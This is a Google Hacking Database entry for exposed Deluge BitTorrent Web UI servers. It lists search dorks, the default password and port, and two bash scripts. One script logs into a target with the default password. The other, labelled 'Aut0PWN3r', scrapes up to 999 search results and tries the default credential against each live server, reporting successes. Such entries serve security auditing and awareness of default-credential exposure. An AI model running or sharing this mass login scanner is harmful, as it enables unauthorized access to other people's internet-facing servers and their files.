Deluge - Web UI (BitTorrent Client - Download/Upload/Seed/Control/File Explorer) v1+v2

GHDB-ID:

4741

Author:

Pancaker

Google Dork Description:

Deluge - Web UI (BitTorrent Client - Download/Upload/Seed/Control/File Explorer) v1+v2

GoogleDork v1 ~ `intitle:"Deluge: Web UI 1.3" `
GoogleDork v2 ~ `intitle:"Deluge: Web UI 1.3" Filters. Status; Details; Files; Peers; Options. Downloaded: Uploaded:`

Default password: `deluge` ~ https://dev.deluge-torrent.org/wiki/UserGuide/ThinClient#ClientSetup1
Default port: `8112` ~ https://dev.deluge-torrent.org/wiki/UserGuide/ThinClient#ClientSetup1

- - - 

## Bash

```
url="http://target.com:8112/json"
pass="deluge"

req=$( curl \
  -s \
  --header 'Content-Type: application/json' \
  --data '{"method":"auth.login","params":["'${pass}'"],"id":1}' \
  --compressed \
  "${url}" )

echo ${req} | grep -q '"result": true' \
  && echo 'w000h000!' \
  || echo 'b00'
```

- - - 

## Aut0PWN3r

//brew install googler//

```
googler \
    --count 999 \
    --unfilter \
    --json \
    --noprompt \
    'intitle:"Deluge: Web UI 1.3" -exploit -vulnerability' \
  | awk -F'"' '/"url"/ {print $4}' \
  > /tmp/results.txt

for x in $( cat /tmp/results.txt ); do
  curl \
      -s \
      --header 'Content-Type: application/json' \
      --data '{"method":"auth.login","params":["deluge"],"id":1}' \
      --compressed \
      --max-time 5 \
      "${x}/json" \
    | grep -q true \
      && echo "[*] w000h000! ~ ${x}" \
      || echo "[-] b00 ~ ${x}"
done
```

- - - 

## Other Work

- ruTorrent ~ https://www.exploit-db.com/ghdb/4652/
- Deluge v1+v2 (+autopwner) ~ https://www.exploit-db.com/ghdb/4741/
- Deluge v3 ~ https://www.exploit-db.com/ghdb/4742/